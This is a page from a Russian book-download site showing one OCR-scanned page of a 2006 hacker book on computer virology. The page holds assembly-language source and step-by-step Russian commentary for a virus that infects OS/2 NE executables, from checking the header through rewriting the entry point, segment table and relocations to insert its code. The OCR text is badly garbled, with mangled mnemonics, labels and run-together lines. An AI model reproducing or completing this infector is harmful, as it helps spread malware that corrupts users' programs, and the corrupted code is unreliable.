Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 109 110 111 112 113 114 < 115 > 116 117 118 119 120 121 .. 123 >> Следующая

cmp WORD PTR [NEW_HDR],454EH {смотрим, это ID 'NE* нового .заголовка
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
jnz SHORT FN1 ;нет, это не Windows-EXE!
mov al,[NEW_HDR+36H] [получаем флаги целевой ОС
and al, 1 [смотрим, целевая ОС = OS/2?
jnz SHORT FOK2 ;ОК, продолжаем
FN1: jmp FOK_ERROR1 [иначе выходим
[Если мы оказались здесь, то условие (1) выполнено
FOK2: mov dx.WORD PTR [NEWHDR+16H] [получаем
[первоначальный cs
call GET_SEG_ENTRY [читаем запись сегментной таблицы в
[буфере диска
mov ax.WORD PTR [ТЕМР+2] [вставляем длину сегмента в ах. add
ax,VIRUS_SIZE [добавляем к ней размер вируса jc SHORT FOK_ERROR1 ;если
перенос, то места недостаточно,
[иначе сбрасываем этот счет [Если мы оказались здесь, то условие (2)
выполнено
mov сх,WORD PTR [NB/V_HDR+32H] [выравниваем логический сектор mov ах,1
shl ах,cl ;ах=размер логического сектора
mov cx,WORD FTR [TEMP] [получаем офсет стартового сегмента
mul сх [Офсет в dx:ax
add ax,W0RDPTR[NB/y_HDR+14H] добавляем в ip точки входа adc dx,0 mov
ex.dx
mov dx.ax [помещаем точку входа в cx:dx call FILE_SEEK_ST [и ищем от
начала файла mov сх,20Н [читаем 32 байта
mov dx.OFFSET TEMP ;в буфере call FILE.READ mov si, [VSTART]
ГЛАВА 10. Вирусы для OS/2
mov di,OFFSET TEMP mov cx,10H {сравниваем 32 байта
FOK3: mov ax,cs:[si] add si,2 cmp ax,ds:[di] jne SHORT FOK4 add di,2 loop
FOK3 FOK_ERROR1:
call FILE_CLOSE FOK_ERROR2: mov al,'1
or al.al {установка NZ ret {возвращаемся к оператору вызова {Если мы
оказались здесь, то условие (3) выполнено. Можем начинать!
FOK4: xor al.al .устанавливаем флаг Z ret ;и выходим
Эта подпрограмма модифицирует найденный файл, в который мы вставляем
вирус. В процессе инфицирования нам нужно выполнить следующие шаги.
1) Мы должны модифицировать сегментную таблицу. Для первоначального
сегмента это вовлекает (а) увеличение размера сегмента на размер вируса и
(б) увеличение минимального назначенного размера сегмента, если в этом
имеется необходимость. Каждый сегмент ПОСЛЕ этого первоначального
сегмента должен подстраиваться с помощью добавления к нему вируса (в
секторах).
2) Мы должны изменить стартовый ip в новом заголовке. Вирус размещается в
этом сегменте после кода жертвы, поэтому новый ip будет равен размеру
старого сегмента.
3) С помощью VIRSECS (размер вируса в секторах) мы должны переместить все
секторы в файле после первоначального сегмента кода.
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
4) Мы должны произвести перемещения (если таковые имеются) в конец
инфицируемого сегмента кода, чтобы создать место для кода вируса.
Затем мы должны добавить вирусные перемещения в таблицу перемещений.
5) Мы должны перенести код вируса в инфицируемый сегмент кода.
6) Мы должны подстроить прыжок в вирусе для перехода к оригинальной точке
входа.
7) Мы должны подстроить ресурсные офсеты в таблице перемещений, чтобы
отразить их новые локации.
8) Мы должны ликвидировать область быстрой загрузки.
9) Мы должны обновить DOS ЕХЕ-заголовок, чтобы отразить новый размер
файла.
INFECT_FILE:
mov cx.WORD PTR [NEW_HDR+32H] [получаем log2(размер [логического сектора)
mov ах,1 shl ах,cl
mov [LOG_SEC],ax [вставляем сюда размер логического сектора
mov ax,WDRD PTR [NEWHDR+14H] [сохраняем старую точку входа mov
[ENTRYPTj.ax ;для дальнейшего использования
mov dx,WDRDPTR[NEW_HDR+16H] [читаем запись сегментной call GEr SEG ENTFT/
[таблицы для первоначального cs
mov ax.WORD PTR [TEMP] [получаем локацию этого [сегмента в файле mov
[INITSEC],ax [сохраняем ее здесь
mov ax.WORD PTR [ТЕМР+2] [получаем размер сегмента
\
mow WDRDPTR[NEW_HDR+14H],ax [обновляем запись ip в новом [заголовке в RAM
ГЛАВА 10. Вирусы для OS/2
call SET_RELOCS {устанавливаем RELOCS и CS_SIZE
mov si,[VSTART] .
mov ax,cs:[st+ARELOCS] {рассчитываем д обавленный размер сегмента shl
ах,3 {умножаем ARELOCS на 8
add ax,VIRUS_SIZE
add ax,[CS_SIZE] ;ах=полный новый размер xor dx.dx mov сх, [LOG_SEC] div
сх or dx.dx jz SHORT INF05 inc ax
INF05: push ax mov ax,[CS_SIZE] xor dx.dx div cx or dx.dx jz SHORT INF07
inc ax INF07: pop cx sub cx.ax mov [VIRSECS],cx
;ax = числу всех секторов в cs вместе с вирусом {имеется остаток?
{подстраиваем частично заполненный сектор {размер без вируса
;сх=число секторов, необходимых для вируса {сохраняем его здесь
call UPDATE_SEG_TBL {выполняем модификации (1) в файле mov dx,[NH_OFFSET]
хог сх.сх
call FILE_SEEK_ST {перемещаем указатель файла к новому заголовку
mov di,OFFSET NB/VHDR+37H ;эеро из области быстрой загрузки хог ах,ах
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
stosb
stosw
stosw ;(8) выполнено
mov dx.OFFSET NEW_HDR mov cx,NEW_HDR_SIZE {обновляем новый заголовок в
файле call FILE_WRITE {модификации в (2) выполнены
call MOVE_END_OUT {переносим конец вируса с помощью {VIRSECS (3) и
устанавливаем счет RELOCS call SETUP_KERNEL {помещаем модуль KERNEL в
{перемещения вируса call RELOCATE_RELOCS {переносим перемещения в cs (4)
INF1: call WRITE_VIRUS_CODE {вставляем вирус в cs (5 и 6) call
UPDATE_RES_TABLE {обновляем записи таблицы ресурсов call ADJUST_DOS_HDR
Предыдущая << 1 .. 109 110 111 112 113 114 < 115 > 116 117 118 119 120 121 .. 123 >> Следующая